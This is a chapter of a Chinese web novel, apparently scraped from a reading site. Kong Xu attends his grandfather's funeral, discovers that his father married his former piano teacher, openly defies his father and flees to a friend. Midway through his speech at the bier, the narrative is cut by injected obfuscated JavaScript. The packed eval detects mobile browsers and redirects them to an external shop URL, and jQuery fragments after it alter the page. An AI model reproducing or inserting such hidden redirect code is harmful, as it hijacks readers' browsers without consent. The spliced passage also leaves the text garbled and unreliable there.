35. 第 35 章

作品:《燃烧的沸腾的

    孔栩后来每回想到自己质问孔嘉年“你是不是想跟我妈复婚”,都很想一巴掌把自己拍晕。


    他才知道,孔嘉年和何斯清不一样,孔嘉年早已经再婚。


    这个叫孔馨的孩子跟孔嘉年的鼻子与嘴唇如出一辙,眼睛滴溜溜的,又圆又大,想必遗传自她母亲。


    孔馨抱住孔嘉年的大腿,撒娇让孔嘉年抱他,孔嘉年忙着招呼来客,可还是一把将小闺女抱起来,孔馨便将脸埋在孔嘉年的肩膀,眯起眼,挑衅般看着孔栩。


    ——孔栩觉得那是个挑衅的眼神。


    孔栩的呼吸变得很快,好像有什么在用力挤压他的肺,令他感到呼吸困难。


    他立刻背过身,眼眶一下就湿了,不明所以的情绪在他内心冲荡,他不在乎有没有爸爸,可为什么看到这一幕会令他这么难过?


    他想去找何斯清,他不明白为什么何斯清带他来这里,他跟这些人一点瓜葛也没有,也不想有什么瓜葛。


    孔栩这么想着,心底的那一丝委屈却始终无法消散,他只好找到一个小小的角落,蹲下身,拿出手机看时间。


    时间过得真慢,孔栩不知道要做什么,过了一会儿,那个小丫头估计是没人陪她玩,又来找孔栩。


    孔栩装没看见,孔馨便趴在他肩膀,柔柔地喊他:“哥哥。”


    “干什么?”孔栩不耐烦。


    “哥哥,”孔馨说,“我们来玩捉迷藏好不好。”


    他满怀恶意地说:“你爷爷死了,你还有心情玩捉迷藏。”


    孔馨这个年纪已经知道什么是“死亡”了,她对死亡没有什么惧意,反而说:“没关系的,妈妈说爷爷只是早一步去天上了,我只是等一等。等到跟爷爷差不多大的岁数,就可以跟他见面了。”


    说完她缺了两个大门牙的嘴噗嗤一笑:“爷爷本来就老,不知道他那时候会不会老得腰都直不起来呀。”


    孔栩听完沉默了,觉得自己有些不尊重逝者了,还比不上一个小丫头。


    “你爸妈他们,对你好吗?”孔栩问孔馨,“你妈妈也会弹琴?”


    孔馨如实说:“好的呀,妈妈教我弹琴的,可我弹不好,我更喜欢唱歌。”


    孔栩有些好奇,问孔馨:“你妈妈呢?”


    孔馨说:“妈妈说她身体不舒服,让我跟着爸爸先来。”


    孔栩沉默了一会儿,不知道该跟她说些什么,继续问她的家庭?显得自己像个窥探他人幸福生活的可怜小丑。


    “你是怎么知道我的?”孔栩半晌后问道。


    孔馨想了想,回答说:“我妈妈跟你拍过合影,我见过你的照片。”


    “哪一张?”孔栩越发奇怪,如果拍过他怎么会丝毫不知情?


    孔馨说:“你抱着奖杯的那张。”


    孔栩:“我见过你妈妈?”


    孔馨:“我妈妈教过你弹琴的,你不认识她吗?”


    孔栩愣了一下,没听懂似的,追问说:“你妈妈教我弹琴,什么时候的事?你妈妈叫什么名字?”


    “我妈妈姓易,”孔馨说,“她叫易姝心。”


    此时一阵穿堂风掠过他的身体,孔栩淋了雨,打了个冷战。


    他四肢冰凉,胸口却滚烫,脑子有些转不过来了,握着孔馨的两臂:“你说什么?易姝心是你什么人?”


    孔馨有些害怕地说:“我妈妈呀……我最喜欢我妈妈了。”


    何斯清带易姝心来到孔栩面前时,孔栩不过六岁,何斯清自认能力有限,无法教他,于是给他请了另一位在此领域颇有声名的老师。


    易姝心高贵美丽,举止优雅,是孔栩最为敬爱的钢琴老师,每周易姝心会上门两次,孔栩全心全意地相信她,风雨无阻,学了十年,直到初三快中考那会儿课程才停下来,易姝心的工作地点发生变化,她不能继续教孔栩,但保证他如有需要,随时随地可以给她打电话。


    孔栩曾经也困惑过,易姝心这样厉害的钢琴家,学费极为高昂,并非何斯清这样普普通通的高中老师一人工资可以负担得起,更何况她是上门教学,哪会有这种级别的老师上门辅导学生,他一度以为是自己太过优秀,令易姝心不忍放弃,以至于降低标准。


    如今来看,是另有隐情了。


    易姝心和孔嘉年这两个八竿子打不着的人竟然是一对儿,还有个女儿。


    孔栩忽然明白为什么何斯清要带他来这了,因为这是孔栩欠他们的。


    在他不知情的情况下,他已经欠下孔嘉年一笔难以偿还的惊天巨债。


    那瞬间,孔栩心中是一片无边无际的茫然。


    他抬眼看向周遭,乌泱泱的人群,谈话声,啜泣声,还有一股怪异的气味,不知是谁身上带来的,他闻了到气味后胃里一阵紧缩,想吐。


    这时他听见有人叫他的名字,孔嘉年远远地喊他:“孔栩!”


    何斯清见他没反应,也跟着喊了一声:“孔栩,过来啊。”


    孔栩麻木的脚尖动了一下,周围的视线如软刺一般扎在他身上,不疼不痒只是膈应。


    何斯清揽住他肩膀,轻轻捏了一下,低声在他耳边说:“孔栩,就今天这回,你爸让你去跟他那边的亲戚聊聊,他就你一个儿子,以后还是要走动的,今天这日子别搞得大家都难看,妈妈拜托你好不好。”


    她太了解他,毕竟十月怀胎,自己的种什么德行她一清二楚,知道他一直对孔嘉年怀恨在心,所以没让孔嘉年直接认他,而是采用迂回战术试图攻破他的心防,不过这招不管用,被他早早拆穿,眼下也不是闹翻的时机,她相信孔栩有那么点气度,是个识大体、有分寸的人。


    于是孔栩挥开何斯清的手臂,朝她一笑:“我知道了,妈妈。”


    他没去孔嘉年身边,而是径直走到那张盖着白布的遗体前,扑通一声跪下了。


    倒头纸继续燃烧着,孔栩在袅袅的烟气中磕了一个头:“爷爷,我是孔栩,愿您的灵魂安息,一路走好。”


    周围的人声静默下来,奶奶掩着泪眼一下呆住了,震惊于孔栩的回心转意。


    他的眼睛被熏得发红,单薄的肩膀暗自发着抖,继续说:“毕竟除了姓氏和一半血缘,我跟你们家没有半点关系,我磕的这个头,算是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027732|194219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尽我的孝道了。”


    孔嘉年黑着脸,大跨步走过去,一把将孔栩拎起来,成年男性的力量要比未成年的孔栩大上许多,孔栩受伤的手臂被牵扯出了疼痛,他皱了下眉,孔嘉年压低声音说:“行了,非让人看笑话是不是。”


    “笑话得好笑才叫笑话,”孔栩硬邦邦地说,“不好笑的叫做实话,你笑不出来么?”


    孔嘉年按着太阳穴:“你是不是要把我气死?”


    “你死了我可以给你磕两个头,看在易姝心的份上。”孔栩冷冰冰地瞪着他,“松开我!”


    孔嘉年眼中有过片刻的惊愕,愣神的功夫让孔栩抽回左手,他头也不回,一声招呼也没打,直接冲进了雨幕中,何斯清急得在他身后大喊:“孔栩,这前不着村后不着店的,你要去哪儿!”


    她一路追到路口,只见孔栩在路边拦了辆顺风车,矮身钻进去,顺风车呼啸而去,溅起无数泥点子。


    孔栩这一闹,搞得死气沉沉的哀伤氛围变了性质,何斯清走也不是,留也不是,只好颓唐地进了里屋,打算过会儿就走人。


    车一直往前开,司机问他目的地是哪里。


    是啊,他要去哪儿呢,孔栩也不知道。


    半晌后,孔栩眨了一下眼睛,嘴里说:“师傅,我想回学校。”


    “你学校在哪儿?”


    “岚江市一中,”孔栩轻声说,“有点远,师傅,麻烦您了。”


    “不远,路上我能稍人吧?”师傅说,“那边有纸,你擦擦脸。”


    “都行,谢谢。”


    一路上人来了又走,走了又来,孔栩一直安静地闭着眼,好在司机师傅不是什么坏人,不然把他卖了他都不知道。等到校门口时,已经是下午五点多,即将放学的时间点。


    孔栩下车后,多给了师傅一笔打赏,然后冒着雨去了对面的旧书店。


    破天荒的,旧书店竟然挂着“今日不营业”的牌子,孔栩吃了个闭门羹,他坐在门前的台阶上,看路灯接连亮起,而后陆陆续续有学生放学出来了。


    他枯坐在此地,看雨丝银色链子一般丝滑地不绝如缕地坠下,雨还有多久停呢?


    刚刚还满腔沸腾的热气在此刻被凉风一吹,什么都不剩下,只有缓缓上升的无助与煎熬。


    孔栩不想回家,也不想去琴房,唯一想去的旧书店却不欢迎他。


    他像个孱弱单薄的幽灵,在街头漫无目的地乱转。


    孔栩好像在等待,等待什么具体也说不上来,或是雨停,或是内心的平静,等了仿佛有一个世纪那么久,却又仿佛只有短短的一瞬间,他听到有人急切地叫他:“小木鱼,你怎么在这?”


    一把黑色的大伞倏地倾斜过来,将这人身后的路灯挡住,孔栩只看到他挺拔的剪影,不过他已经率先认出他的声音,孔栩揉了一下湿润的眼角,明白过来,或许他等的就是这一刻。


    “邱以星,”孔栩站起身,他用力地撞进邱以星怀里,左手环住邱以星的背,压抑许久的眼泪顿时流了下来,又因不知道说些什么,只好一遍遍重复他的名字,“邱以星,邱以星……”